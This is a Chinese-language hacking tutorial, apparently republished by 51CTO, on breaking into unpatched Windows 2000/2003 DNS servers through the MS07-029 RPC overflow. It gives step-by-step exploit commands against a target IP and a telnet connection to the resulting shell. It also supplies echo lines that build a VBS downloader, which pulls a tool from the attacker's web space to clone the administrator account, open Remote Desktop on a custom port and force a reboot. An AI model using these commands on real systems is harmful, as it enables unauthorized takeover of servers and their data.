亲身体验MS07-029漏洞入侵

安全 黑客攻防
MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。

有时候系统漏洞对于企业服务器来说是致命的,黑客入侵时可以通过漏洞来获得管理员权限从而将服务器玩弄于股掌之中。MS07-029漏洞是一个服务器远程访问漏洞,如果程序员没有打上MS07-029漏洞补丁那么讲受到致命的危害。所以在此提醒广大的企业管理员,积极扫描自己的服务器,发现漏洞之后一定要及时采取行动,使得类似于MS07-029漏洞攻击的情况避免出现。

我们先来看看所用工具的界面:

 

MS07-029漏洞入侵工具 

这就是传说中的利用工具,可以通杀2000SEVER,2003SEVER系统,另外还具备了扫描功能!

先用它来对主机进行扫描:

在我们的命令行下输入:“dns –s 目标IP地址”
 
稍等片刻,开放的端口以及操作系统以出现在我们面前,如果出现了“1029:Vulnerability”那么恭喜你,你马上就会成功得到这台主机的权限了

现在我们来最关键的步骤――溢出:

在命令行内输入

dns -2003chs *.*.93.189 1029

其中-2003ch的意思是操作系统的型号,-2003chs即简体中文版的2003系统,

如果是2000的系统就使用“-2000all”参数,*.*.93.189就是我们的目标IP地址,1029就是刚才扫描出存在漏洞的端口”。

出现“Attack sent ,check port 1100”字样,说明已经打开了目标地址的1100端口,我们TELNET上去:TELNET *.*.93.189 1100

我们现在已经成功的通过MS07-029漏洞入侵了对方的电脑,并且得到了管理员的权限。

下面我给大家介绍一下如何在肉鸡上面开3389

在命令行里输入

@echo with wscript:if .arguments.count^ tony.vbs

@echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> tony.vbs

@echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> tony.vbs

@echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> tony.vbs

大概的意思就是在命令行创立一个用来下载的VBS脚本tony.vbs

然后把开3389的工具上传到你的个人空间,

我这里用的是火狐开3389的工具,在命令行里输入 cscript tony.vbs http://你空间地址/wrsky.exe c:\wrsky.exe

wrsky.exe -c”可以克隆当前管理员帐号

再输入“c:\wrsky.exe -o 3551”

意思就是打开对方的远程桌面服务,并且使用3551端口。

用“wrsky.exe -k”可以检查3389是否开启,开启以后输入“wrsky.exe -r”,对方的电脑就自动重启以后就可以连接上去了。

在运行里输入"mstsc",登陆上去。

那熟悉而又亲切的画面出现在我们面前了。

如果是2K的系统,还有一个更加傻瓜化的工具open3389,直接运行就可以了,不需要任何参数,不过对方电脑会马上重启。

另外我还放了其他两个DNS利用工具和一篇ZWELL的精华文章在光盘里,有兴趣的朋友可以自己研究。

这个漏洞的危害是是分巨大的,目前利用DNS服务RPC漏洞传播的蠕虫病毒VanBot已经出现,变种已经开始疯狂传播。
 

 

【编辑推荐】

  1. 浅谈后门的概念与分类
  2. 经典后门实例之网页后门
  3. 经典后门实例之线程插入后门
  4. 经典后门实例之扩展后门
  5. 用Mysql语句来生成后门木马方案

 

责任编辑:张启峰 来源: 黑白网络
相关推荐

2010-09-17 13:47:35

2011-12-29 10:13:48

FirefoxAndroid版

2013-01-22 14:05:25

Fedora 18

2012-04-16 13:22:56

CORBAJavaC++

2015-06-29 10:05:10

C#异步编程解析

2011-05-06 17:57:34

思维R800扫描仪

2013-01-22 11:29:01

3D打印

2011-10-27 18:06:24

思科网真

2009-11-26 14:10:08

2018-07-06 14:33:16

华为

2015-07-16 10:40:10

程序员创业

2010-09-15 09:24:55

2009-11-11 10:35:04

2015-03-11 16:23:01

2009-02-20 16:56:53

2015-05-04 14:52:09

2022-07-26 14:30:57

漏洞黑客网络攻击

2010-09-08 12:29:52

2023-08-29 09:00:00

JavaScript工具
点赞
收藏

51CTO技术栈公众号